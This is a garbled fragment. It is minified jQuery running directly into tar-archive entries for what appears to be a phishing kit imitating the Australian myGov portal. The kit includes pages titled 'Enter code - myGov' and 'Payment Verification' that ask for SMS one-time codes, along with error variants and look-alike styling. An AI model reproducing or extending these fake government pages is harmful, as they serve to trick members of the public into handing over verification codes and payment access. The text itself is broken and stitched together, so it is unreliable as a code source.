0}),b=(b||"").match(L)||[""],j=b.length;while(j--)h=ua.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n&&(l=r.event.special[n]||{},n=(e?l.delegateType:l.bindType)||n,l=r.event.special[n]||{},k=r.extend({type:n,origType:p,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&r.expr.match.needsContext.test(e),namespace:o.join(".")},f),(m=i[n])||(m=i[n]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,o,g)!==!1||a.addEventListener&&a.addEventListener(n,g)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),r.event.global[n]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=W.hasData(a)&&W.get(a);if(q&&(i=q.events)){b=(b||"").match(L)||[""],j=b.length;while(j--)if(h=ua.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n){l=r.event.special[n]||{},n=(d?l.delegateType:l.bindType)||n,m=i[n]||[],h=h[2]&&new RegExp("(^|\\.)"+o.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&p!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,o,q.handle)!==!1||r.removeEvent(a,n,q.handle),delete i[n])}else for(n in i)r.event.remove(a,n+b[j],c,d,!0);r.isEmptyObject(i)&&W.remove(a,"handle events")}},dispatch:function(a){var b=r.event.fix(a),c,d,e,f,g,h,i=new Array(arguments.length),j=(W.get(this,"events")||{})[b.type]||[],k=r.event.special[b.type]||{};for(i[0]=b,c=1;c=1))for(;j!==this;j=j.parentNode||this)if(1===j.nodeType&&("click"!==a.type||j.disabled!==!0)){for(f=[],g={},c=0;c-1:r.find(e,this,null,[j]).length),g[e]&&f.push(d);f.length&&h.push({elem:j,handlers:f})}return j=this,i\x20\t\r\n\f]*)[^>]*)\/>/gi,Aa=/\s*$/g;function Ea(a,b){return B(a,"table")&&B(11!==b.nodeType?b:b.firstChild,"tr")?r(">tbody",a)[0]||a:a}function Fa(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function Ga(a){var b=Ca.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function Ha(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(W.hasData(a)&&(f=W.access(a),g=W.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;c1&&"string"==typeof q&&!o.checkClone&&Ba.test(q))return a.each(function(e){var f=a.eq(e);s&&(b[0]=q.call(this,e,f.html())),Ja(f,b,c,d)});if(m&&(e=qa(b,a[0].ownerDocument,!1,a,d),f=e.firstChild,1===e.childNodes.length&&(e=f),f||d)){for(h=r.map(na(e,"script"),Fa),i=h.length;l")},clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=r.contains(a.ownerDocument,a);if(!(o.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||r.isXMLDoc(a)))for(g=na(h),f=na(a),d=0,e=f.length;d0&&oa(g,!i&&na(a,"script")),h},cleanData:function(a){for(var b,c,d,e=r.event.special,f=0;void 0!==(c=a[f]);f++)if(U(c)){if(b=c[W.expando]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[W.expando]=void 0}c[X.expando]&&(c[X.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ka(this,a,!0)},remove:function(a){return Ka(this,a)},text:function(a){return T(this,function(a){return void 0===a?r.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ja(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ea(this,a);b.appendChild(a)}})},prepend:function(){return Ja(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ea(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return Ja(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return Ja(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(r.cleanData(na(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null!=a&&a,b=null==b?a:b,this.map(function(){return r.clone(this,a,b)})},html:function(a){return T(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!Aa.test(a)&&!ma[(ka.exec(a)||["",""])[1].toLowerCase()]){a=r.htmlPrefilter(a);try{for(;c1)}});function _a(a,b,c,d,e){return new _a.prototype.init(a,b,c,d,e)}r.Tween=_a,_a.prototype={constructor:_a,init:function(a,b,c,d,e,f){this.elem=a,this.prop=c,this.easing=e||r.easing._default,this.options=b,this.start=this.now=this.cur(),this.end=d,this.unit=f||(r.cssNumber[c]?"":"px")},cur:function(){var a=_a.propHooks[this.prop];return a&&a.get?a.get(this):_a.propHooks._default.get(this)},run:function(a){var b,c=_a.propHooks[this.prop];return this.options.duration?this.pos=b=r.easing[this.easing](a,this.options.duration*a,0,1,this.options.duration):this.pos=b=a,this.now=(this.end-this.start)*b+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),c&&c.set?c.set(this):_a.propHooks._default.set(this),this}},_a.prototype.init.prototype=_a.prototype,_a.propHooks={_default:{get:function(a){var b;return 1!==a.elem.nodeType||null!=a.elem[a.prop]&&null==a.elem.style[a.prop]?a.elem[a.prop]:(b=r.css(a.elem,a.prop,""),b&&"auto"!==b?b:0)},set:function(a){r.fx.step[a.prop]?r.fx.step[a.prop](a):1!==a.elem.nodeType||null==a.elem.style[r.cssProps[a.prop]]&&!r.cssHooks[a.prop]?a.elem[a.prop]=a.now:r.style(a.elem,a.prop,a.now+a.unit)}}},_a.propHooks.scrollTop=_a.propHooks.scrollLeft={set:function(a){a.elem.nodeType&&a.elem.parentNode&&(a.elem[a.prop]=a.now)}},r.easing={linear:function(a){return a},swing:function(a){return.5-Math.cos(a*Math.PI)/2},_default:"swing"},r.fx=_a.prototype.init,r.fx.step={};var ab,bb,cb=/^(?:toggle|show|hide)$/,db=/queueHooks$/;function eb(){bb&&(d.hidden===!1&&a.requestAnimationFrame?a.requestAnimationFrame(eb):a.setTimeout(eb,r.fx.interval),r.fx.tick())}function fb(){return a.setTimeout(function(){ab=void 0}),ab=r.now()}function gb(a,b){var c,d=0,e={height:a};for(b=b?1:0;d<4;d+=2-b)c=ca[d],e["margin"+c]=e["padding"+c]=a;return b&&(e.opacity=e.width=a),e}function hb(a,b,c){for(var d,e=(kb.tweeners[b]||[]).concat(kb.tweeners["*"]),f=0,g=e.length;f1)},removeAttr:function(a){return this.each(function(){r.removeAttr(this,a)})}}),r.extend({attr:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return"undefined"==typeof a.getAttribute?r.prop(a,b,c):(1===f&&r.isXMLDoc(a)||(e=r.attrHooks[b.toLowerCase()]||(r.expr.match.bool.test(b)?lb:void 0)),void 0!==c?null===c?void r.removeAttr(a,b):e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:(a.setAttribute(b,c+""),c):e&&"get"in e&&null!==(d=e.get(a,b))?d:(d=r.find.attr(a,b), null==d?void 0:d))},attrHooks:{type:{set:function(a,b){if(!o.radioValue&&"radio"===b&&B(a,"input")){var c=a.value;return a.setAttribute("type",b),c&&(a.value=c),b}}}},removeAttr:function(a,b){var c,d=0,e=b&&b.match(L);if(e&&1===a.nodeType)while(c=e[d++])a.removeAttribute(c)}}),lb={set:function(a,b,c){return b===!1?r.removeAttr(a,c):a.setAttribute(c,c),c}},r.each(r.expr.match.bool.source.match(/\w+/g),function(a,b){var c=mb[b]||r.find.attr;mb[b]=function(a,b,d){var e,f,g=b.toLowerCase();return d||(f=mb[g],mb[g]=e,e=null!=c(a,b,d)?g:null,mb[g]=f),e}});var nb=/^(?:input|select|textarea|button)$/i,ob=/^(?:a|area)$/i;r.fn.extend({prop:function(a,b){return T(this,r.prop,a,b,arguments.length>1)},removeProp:function(a){return this.each(function(){delete this[r.propFix[a]||a]})}}),r.extend({prop:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return 1===f&&r.isXMLDoc(a)||(b=r.propFix[b]||b,e=r.propHooks[b]),void 0!==c?e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:a[b]=c:e&&"get"in e&&null!==(d=e.get(a,b))?d:a[b]},propHooks:{tabIndex:{get:function(a){var b=r.find.attr(a,"tabindex");return b?parseInt(b,10):nb.test(a.nodeName)||ob.test(a.nodeName)&&a.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),o.optSelected||(r.propHooks.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),r.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){r.propFix[this.toLowerCase()]=this});function pb(a){var b=a.match(L)||[];return b.join(" ")}function qb(a){return a.getAttribute&&a.getAttribute("class")||""}r.fn.extend({addClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).addClass(a.call(this,b,qb(this)))});if("string"==typeof a&&a){b=a.match(L)||[];while(c=this[i++])if(e=qb(c),d=1===c.nodeType&&" "+pb(e)+" "){g=0;while(f=b[g++])d.indexOf(" "+f+" ")<0&&(d+=f+" ");h=pb(d),e!==h&&c.setAttribute("class",h)}}return this},removeClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).removeClass(a.call(this,b,qb(this)))});if(!arguments.length)return this.attr("class","");if("string"==typeof a&&a){b=a.match(L)||[];while(c=this[i++])if(e=qb(c),d=1===c.nodeType&&" "+pb(e)+" "){g=0;while(f=b[g++])while(d.indexOf(" "+f+" ")>-1)d=d.replace(" "+f+" "," ");h=pb(d),e!==h&&c.setAttribute("class",h)}}return this},toggleClass:function(a,b){var c=typeof a;return"boolean"==typeof b&&"string"===c?b?this.addClass(a):this.removeClass(a):r.isFunction(a)?this.each(function(c){r(this).toggleClass(a.call(this,c,qb(this),b),b)}):this.each(function(){var b,d,e,f;if("string"===c){d=0,e=r(this),f=a.match(L)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else void 0!==a&&"boolean"!==c||(b=qb(this),b&&W.set(this,"__className__",b),this.setAttribute&&this.setAttribute("class",b||a===!1?"":W.get(this,"__className__")||""))})},hasClass:function(a){var b,c,d=0;b=" "+a+" ";while(c=this[d++])if(1===c.nodeType&&(" "+pb(qb(c))+" ").indexOf(b)>-1)return!0;return!1}});var rb=/\r/g;r.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=r.isFunction(a),this.each(function(c){var e;1===this.nodeType&&(e=d?a.call(this,c,r(this).val()):a,null==e?e="":"number"==typeof e?e+="":Array.isArray(e)&&(e=r.map(e,function(a){return null==a?"":a+""})),b=r.valHooks[this.type]||r.valHooks[this.nodeName.toLowerCase()],b&&"set"in b&&void 0!==b.set(this,e,"value")||(this.value=e))});if(e)return b=r.valHooks[e.type]||r.valHooks[e.nodeName.toLowerCase()],b&&"get"in b&&void 0!==(c=b.get(e,"value"))?c:(c=e.value,"string"==typeof c?c.replace(rb,""):null==c?"":c)}}}),r.extend({valHooks:{option:{get:function(a){var b=r.find.attr(a,"value");return null!=b?b:pb(r.text(a))}},select:{get:function(a){var b,c,d,e=a.options,f=a.selectedIndex,g="select-one"===a.type,h=g?null:[],i=g?f+1:e.length;for(d=f<0?i:g?f:0;d-1)&&(c=!0);return c||(a.selectedIndex=-1),f}}}}),r.each(["radio","checkbox"],function(){r.valHooks[this]={set:function(a,b){if(Array.isArray(b))return a.checked=r.inArray(r(a).val(),b)>-1}},o.checkOn||(r.valHooks[this].get=function(a){return null===a.getAttribute("value")?"on":a.value})});var sb=/^(?:focusinfocus|focusoutblur)$/;r.extend(r.event,{trigger:function(b,c,e,f){var g,h,i,j,k,m,n,o=[e||d],p=l.call(b,"type")?b.type:b,q=l.call(b,"namespace")?b.namespace.split("."):[];if(h=i=e=e||d,3!==e.nodeType&&8!==e.nodeType&&!sb.test(p+r.event.triggered)&&(p.indexOf(".")>-1&&(q=p.split("."),p=q.shift(),q.sort()),k=p.indexOf(":")<0&&"on"+p,b=b[r.expando]?b:new r.Event(p,"object"==typeof b&&b),b.isTrigger=f?2:3,b.namespace=q.join("."),b.rnamespace=b.namespace?new RegExp("(^|\\.)"+q.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=e),c=null==c?[b]:r.makeArray(c,[b]),n=r.event.special[p]||{},f||!n.trigger||n.trigger.apply(e,c)!==!1)){if(!f&&!n.noBubble&&!r.isWindow(e)){for(j=n.delegateType||p,sb.test(j+p)||(h=h.parentNode);h;h=h.parentNode)o.push(h),i=h;i===(e.ownerDocument||d)&&o.push(i.defaultView||i.parentWindow||a)}g=0;while((h=o[g++])&&!b.isPropagationStopped())b.type=g>1?j:n.bindType||p,m=(W.get(h,"events")||{})[b.type]&&W.get(h,"handle"),m&&m.apply(h,c),m=k&&h[k],m&&m.apply&&U(h)&&(b.result=m.apply(h,c),b.result===!1&&b.preventDefault());return b.type=p,f||b.isDefaultPrevented()||n._default&&n._default.apply(o.pop(),c)!==!1||!U(e)||k&&r.isFunction(e[p])&&!r.isWindow(e)&&(i=e[k],i&&(e[k]=null),r.event.triggered=p,e[p](),r.event.triggered=void 0,i&&(e[k]=i)),b.result}},simulate:function(a,b,c){var d=r.extend(new r.Event,c,{type:a,isSimulated:!0});r.event.trigger(d,null,b)}}),r.fn.extend({trigger:function(a,b){return this.each(function(){r.event.trigger(a,b,this)})},triggerHandler:function(a,b){var c=this[0];if(c)return r.event.trigger(a,b,c,!0)}}),r.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(a,b){r.fn[b]=function(a,c){return arguments.length>0?this.on(b,null,a,c):this.trigger(b)}}),r.fn.extend({hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),o.focusin="onfocusin"in a,o.focusin||r.each({focus:"focusin",blur:"focusout"},function(a,b){var c=function(a){r.event.simulate(b,a.target,r.event.fix(a))};r.event.special[b]={setup:function(){var d=this.ownerDocument||this,e=W.access(d,b);e||d.addEventListener(a,c,!0),W.access(d,b,(e||0)+1)},teardown:function(){var d=this.ownerDocument||this,e=W.access(d,b)-1;e?W.access(d,b,e):(d.removeEventListener(a,c,!0),W.remove(d,b))}}});var tb=a.location,ub=r.now(),vb=/\?/;r.parseXML=function(b){var c;if(!b||"string"!=typeof b)return null;try{c=(new a.DOMParser).parseFromString(b,"text/xml")}catch(d){c=void 0}return c&&!c.getElementsByTagName("parsererror").length||r.error("Invalid XML: "+b),c};var wb=/\[\]$/,xb=/\r?\n/g,yb=/^(?:submit|button|image|reset|file)$/i,zb=/^(?:input|select|textarea|keygen)/i;function Ab(a,b,c,d){var e;if(Array.isArray(b))r.each(b,function(b,e){c||wb.test(a)?d(a,e):Ab(a+"["+("object"==typeof e&&null!=e?b:"")+"]",e,c,d)});else if(c||"object"!==r.type(b))d(a,b);else for(e in b)Ab(a+"["+e+"]",b[e],c,d)}r.param=function(a,b){var c,d=[],e=function(a,b){var c=r.isFunction(b)?b():b;d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(null==c?"":c)};if(Array.isArray(a)||a.jquery&&!r.isPlainObject(a))r.each(a,function(){e(this.name,this.value)});else for(c in a)Ab(c,a[c],b,e);return d.join("&")},r.fn.extend({serialize:function(){return r.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var a=r.prop(this,"elements");return a?r.makeArray(a):this}).filter(function(){var a=this.type;return this.name&&!r(this).is(":disabled")&&zb.test(this.nodeName)&&!yb.test(a)&&(this.checked||!ja.test(a))}).map(function(a,b){var c=r(this).val();return null==c?null:Array.isArray(c)?r.map(c,function(a){return{name:b.name,value:a.replace(xb,"\r\n")}}):{name:b.name,value:c.replace(xb,"\r\n")}}).get()}});var Bb=/%20/g,Cb=/#.*$/,Db=/([?&])_=[^&]*/,Eb=/^(.*?):[ \t]*([^\r\n]*)$/gm,Fb=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Gb=/^(?:GET|HEAD)$/,Hb=/^\/\//,Ib={},Jb={},Kb="*/".concat("*"),Lb=d.createElement("a");Lb.href=tb.href;function Mb(a){return function(b,c){"string"!=typeof b&&(c=b,b="*");var d,e=0,f=b.toLowerCase().match(L)||[];if(r.isFunction(c))while(d=f[e++])"+"===d[0]?(d=d.slice(1)||"*",(a[d]=a[d]||[]).unshift(c)):(a[d]=a[d]||[]).push(c)}}function Nb(a,b,c,d){var e={},f=a===Jb;function g(h){var i;return e[h]=!0,r.each(a[h]||[],function(a,h){var j=h(b,c,d);return"string"!=typeof j||f||e[j]?f?!(i=j):void 0:(b.dataTypes.unshift(j),g(j),!1)}),i}return g(b.dataTypes[0])||!e["*"]&&g("*")}function Ob(a,b){var c,d,e=r.ajaxSettings.flatOptions||{};for(c in b)void 0!==b[c]&&((e[c]?a:d||(d={}))[c]=b[c]);return d&&r.extend(!0,a,d),a}function Pb(a,b,c){var d,e,f,g,h=a.contents,i=a.dataTypes;while("*"===i[0])i.shift(),void 0===d&&(d=a.mimeType||b.getResponseHeader("Content-Type"));if(d)for(e in h)if(h[e]&&h[e].test(d)){i.unshift(e);break}if(i[0]in c)f=i[0];else{for(e in c){if(!i[0]||a.converters[e+" "+i[0]]){f=e;break}g||(g=e)}f=f||g}if(f)return f!==i[0]&&i.unshift(f),c[f]}function Qb(a,b,c,d){var e,f,g,h,i,j={},k=a.dataTypes.slice();if(k[1])for(g in a.converters)j[g.toLowerCase()]=a.converters[g];f=k.shift();while(f)if(a.responseFields[f]&&(c[a.responseFields[f]]=b),!i&&d&&a.dataFilter&&(b=a.dataFilter(b,a.dataType)),i=f,f=k.shift())if("*"===f)f=i;else if("*"!==i&&i!==f){if(g=j[i+" "+f]||j["* "+f],!g)for(e in j)if(h=e.split(" "),h[1]===f&&(g=j[i+" "+h[0]]||j["* "+h[0]])){g===!0?g=j[e]:j[e]!==!0&&(f=h[0],k.unshift(h[1]));break}if(g!==!0)if(g&&a["throws"])b=g(b);else try{b=g(b)}catch(l){return{state:"parsererror",error:g?l:"No conversion from "+i+" to "+f}}}return{state:"success",data:b}}r.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:tb.href,type:"GET",isLocal:Fb.test(tb.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Kb,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":r.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(a,b){return b?Ob(Ob(a,r.ajaxSettings),b):Ob(r.ajaxSettings,a)},ajaxPrefilter:Mb(Ib),ajaxTransport:Mb(Jb),ajax:function(b,c){"object"==typeof b&&(c=b,b=void 0),c=c||{};var e,f,g,h,i,j,k,l,m,n,o=r.ajaxSetup({},c),p=o.context||o,q=o.context&&(p.nodeType||p.jquery)?r(p):r.event,s=r.Deferred(),t=r.Callbacks("once memory"),u=o.statusCode||{},v={},w={},x="canceled",y={readyState:0,getResponseHeader:function(a){var b;if(k){if(!h){h={};while(b=Eb.exec(g))h[b[1].toLowerCase()]=b[2]}b=h[a.toLowerCase()]}return null==b?null:b},getAllResponseHeaders:function(){return k?g:null},setRequestHeader:function(a,b){return null==k&&(a=w[a.toLowerCase()]=w[a.toLowerCase()]||a,v[a]=b),this},overrideMimeType:function(a){return null==k&&(o.mimeType=a),this},statusCode:function(a){var b;if(a)if(k)y.always(a[y.status]);else for(b in a)u[b]=[u[b],a[b]];return this},abort:function(a){var b=a||x;return e&&e.abort(b),A(0,b),this}};if(s.promise(y),o.url=((b||o.url||tb.href)+"").replace(Hb,tb.protocol+"//"),o.type=c.method||c.type||o.method||o.type,o.dataTypes=(o.dataType||"*").toLowerCase().match(L)||[""],null==o.crossDomain){j=d.createElement("a");try{j.href=o.url,j.href=j.href,o.crossDomain=Lb.protocol+"//"+Lb.host!=j.protocol+"//"+j.host}catch(z){o.crossDomain=!0}}if(o.data&&o.processData&&"string"!=typeof o.data&&(o.data=r.param(o.data,o.traditional)),Nb(Ib,o,c,y),k)return y;l=r.event&&o.global,l&&0===r.active++&&r.event.trigger("ajaxStart"),o.type=o.type.toUpperCase(),o.hasContent=!Gb.test(o.type),f=o.url.replace(Cb,""),o.hasContent?o.data&&o.processData&&0===(o.contentType||"").indexOf("application/x-www-form-urlencoded")&&(o.data=o.data.replace(Bb,"+")):(n=o.url.slice(f.length),o.data&&(f+=(vb.test(f)?"&":"?")+o.data,delete o.data),o.cache===!1&&(f=f.replace(Db,"$1"),n=(vb.test(f)?"&":"?")+"_="+ub++ +n),o.url=f+n),o.ifModified&&(r.lastModified[f]&&y.setRequestHeader("If-Modified-Since",r.lastModified[f]),r.etag[f]&&y.setRequestHeader("If-None-Match",r.etag[f])),(o.data&&o.hasContent&&o.contentType!==!1||c.contentType)&&y.setRequestHeader("Content-Type",o.contentType),y.setRequestHeader("Accept",o.dataTypes[0]&&o.accepts[o.dataTypes[0]]?o.accepts[o.dataTypes[0]]+("*"!==o.dataTypes[0]?", "+Kb+"; q=0.01":""):o.accepts["*"]);for(m in o.headers)y.setRequestHeader(m,o.headers[m]);if(o.beforeSend&&(o.beforeSend.call(p,y,o)===!1||k))return y.abort();if(x="abort",t.add(o.complete),y.done(o.success),y.fail(o.error),e=Nb(Jb,o,c,y)){if(y.readyState=1,l&&q.trigger("ajaxSend",[y,o]),k)return y;o.async&&o.timeout>0&&(i=a.setTimeout(function(){y.abort("timeout")},o.timeout));try{k=!1,e.send(v,A)}catch(z){if(k)throw z;A(-1,z)}}else A(-1,"No Transport");function A(b,c,d,h){var j,m,n,v,w,x=c;k||(k=!0,i&&a.clearTimeout(i),e=void 0,g=h||"",y.readyState=b>0?4:0,j=b>=200&&b<300||304===b,d&&(v=Pb(o,y,d)),v=Qb(o,v,y,j),j?(o.ifModified&&(w=y.getResponseHeader("Last-Modified"),w&&(r.lastModified[f]=w),w=y.getResponseHeader("etag"),w&&(r.etag[f]=w)),204===b||"HEAD"===o.type?x="nocontent":304===b?x="notmodified":(x=v.state,m=v.data,n=v.error,j=!n)):(n=x,!b&&x||(x="error",b<0&&(b=0))),y.status=b,y.statusText=(c||x)+"",j?s.resolveWith(p,[m,x,y]):s.rejectWith(p,[y,x,n]),y.statusCode(u),u=void 0,l&&q.trigger(j?"ajaxSuccess":"ajaxError",[y,o,j?m:n]),t.fireWith(p,[y,x]),l&&(q.trigger("ajaxComplete",[y,o]),--r.active||r.event.trigger("ajaxStop")))}return y},getJSON:function(a,b,c){return r.get(a,b,c,"json")},getScript:function(a,b){return r.get(a,void 0,b,"script")}}),r.each(["get","post"],function(a,b){r[b]=function(a,c,d,e){return r.isFunction(c)&&(e=e||d,d=c,c=void 0),r.ajax(r.extend({url:a,type:b,dataType:e,data:c,success:d},r.isPlainObject(a)&&a))}}),r._evalUrl=function(a){return r.ajax({url:a,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},r.fn.extend({wrapAll:function(a){var b;return this[0]&&(r.isFunction(a)&&(a=a.call(this[0])),b=r(a,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstElementChild)a=a.firstElementChild;return a}).append(this)),this},wrapInner:function(a){return r.isFunction(a)?this.each(function(b){r(this).wrapInner(a.call(this,b))}):this.each(function(){var b=r(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=r.isFunction(a);return this.each(function(c){r(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(a){return this.parent(a).not("body").each(function(){r(this).replaceWith(this.childNodes)}),this}}),r.expr.pseudos.hidden=function(a){return!r.expr.pseudos.visible(a)},r.expr.pseudos.visible=function(a){return!!(a.offsetWidth||a.offsetHeight||a.getClientRects().length)},r.ajaxSettings.xhr=function(){try{return new a.XMLHttpRequest}catch(b){}};var Rb={0:200,1223:204},Sb=r.ajaxSettings.xhr();o.cors=!!Sb&&"withCredentials"in Sb,o.ajax=Sb=!!Sb,r.ajaxTransport(function(b){var c,d;if(o.cors||Sb&&!b.crossDomain)return{send:function(e,f){var g,h=b.xhr();if(h.open(b.type,b.url,b.async,b.username,b.password),b.xhrFields)for(g in b.xhrFields)h[g]=b.xhrFields[g];b.mimeType&&h.overrideMimeType&&h.overrideMimeType(b.mimeType),b.crossDomain||e["X-Requested-With"]||(e["X-Requested-With"]="XMLHttpRequest");for(g in e)h.setRequestHeader(g,e[g]);c=function(a){return function(){c&&(c=d=h.onload=h.onerror=h.onabort=h.onreadystatechange=null,"abort"===a?h.abort():"error"===a?"number"!=typeof h.status?f(0,"error"):f(h.status,h.statusText):f(Rb[h.status]||h.status,h.statusText,"text"!==(h.responseType||"text")||"string"!=typeof h.responseText?{binary:h.response}:{text:h.responseText},h.getAllResponseHeaders()))}},h.onload=c(),d=h.onerror=c("error"),void 0!==h.onabort?h.onabort=d:h.onreadystatechange=function(){4===h.readyState&&a.setTimeout(function(){c&&d()})},c=c("abort");try{h.send(b.hasContent&&b.data||null)}catch(i){if(c)throw i}},abort:function(){c&&c()}}}),r.ajaxPrefilter(function(a){a.crossDomain&&(a.contents.script=!1)}),r.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(a){return r.globalEval(a),a}}}),r.ajaxPrefilter("script",function(a){void 0===a.cache&&(a.cache=!1),a.crossDomain&&(a.type="GET")}),r.ajaxTransport("script",function(a){if(a.crossDomain){var b,c;return{send:function(e,f){b=r("
 

Enter code

We sent a code by SMS to your mobile number XXXX XXX 694.

Enter the 6 digit code we sent to your mobile number
mygov/app/sms.php000064400000020441151676702570010021 0ustar00 Enter code - myGov
 

Payment Verification

We sent a code by SMS to your mobile number XXXX XXX XXX.

mygov/app/smserror.php000064400000020534151676702570011076 0ustar00 Enter code - myGov
 

Payment Verification

We sent a code by SMS to your mobile number XXXX XXX XXX.

mygov/app/smserror2.php000064400000020534151676702570011160 0ustar00 Enter code - myGov
 

Payment Verification

We sent a code by SMS to your mobile number XXXX XXX XXX.

mygov/app/smsone.html000064400000015271151676702570010705 0ustar00 Enter code - myGov
 

Enter code

We sent a code by SMS to your mobile number XXXX XXX 694.

mygov/app/smsone_files/blugov.css000064400000211165151676702570013211 0ustar00.confirm-action.blugov{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:5px;color:#fff;font-size:16px;font-weight:500;min-width:160px;background-color:#254a7e}.confirm-action.blugov:hover{text-decoration:none;background-color:#183052;color:#fff}.confirm-action.blugov:focus{background-color:#183052;outline:4px solid #183052;outline-offset:2px}.confirm-action.blugov:disabled{background-color:#a0a0a3}html{font-family:"Roboto",-apple-system,BlinkMacSystemFont,"Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif}html :focus{outline:4px solid #183052;outline-offset:2px}html body{font-size:18px;color:#000;font-weight:400}html h1{color:#333;font-family:"Roboto",-apple-system,BlinkMacSystemFont,"Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:700;font-size:28px;line-height:34px}html a:focus{outline:0;outline-offset:none}html a.anchor:focus{outline:0;outline-offset:none}html .error-msg{border:2px solid #dc3548;border:.125rem solid #dc3548;border-left-width:48px;color:#333;border-radius:5px}html .error-msg::before{background-image:url("../blugov/Icons---System---Alert---Emergency.svg")}html .error-msg span{display:inline}html .error-msg .error-msg-text a{font-size:18px}html .success-msg{border:2px solid #1a9f50;border:.125rem solid #1a9f50;border-left-width:48px;color:#333;border-radius:5px}html .success-msg::before{background-image:url("../blugov/Icons---System---Tick---Line.svg")}html .success-msg span{display:inline}html .success-msg .success-msg-text a{font-size:18px}html .hasInfo{font-size:16px;border-left:4px solid #254a7e}html .hasInfo span,html .hasInfo a{font-size:16px}html .hasError{border-left:4px solid #dc3548;font-size:14px;font-weight:400}html .hasError p,html .hasError span{color:#dc3548}html .hasError p.hasError,html .hasError span.hasError{color:#dc3548}html .hasError p.hasError p,html .hasError span.hasError p{margin-top:10px;margin-bottom:0}.brand-rainbow{height:5px;background:url("../blugov/M-myGov-Coloured Line.svg");background-repeat:no-repeat;background-color:#0061c8}.brand-rainbow.padding{margin-bottom:1em}@media screen and (max-width:640px){.brand-rainbow{height:7px;background:url("../blugov/D-myGov-Coloured Line.svg");background-repeat:no-repeat;background-color:#0061c8}}@media screen and (min-width:992px){header .inner{max-width:1360px!important;margin-left:auto;margin-right:auto}}header section.wrapper{min-height:100px}header 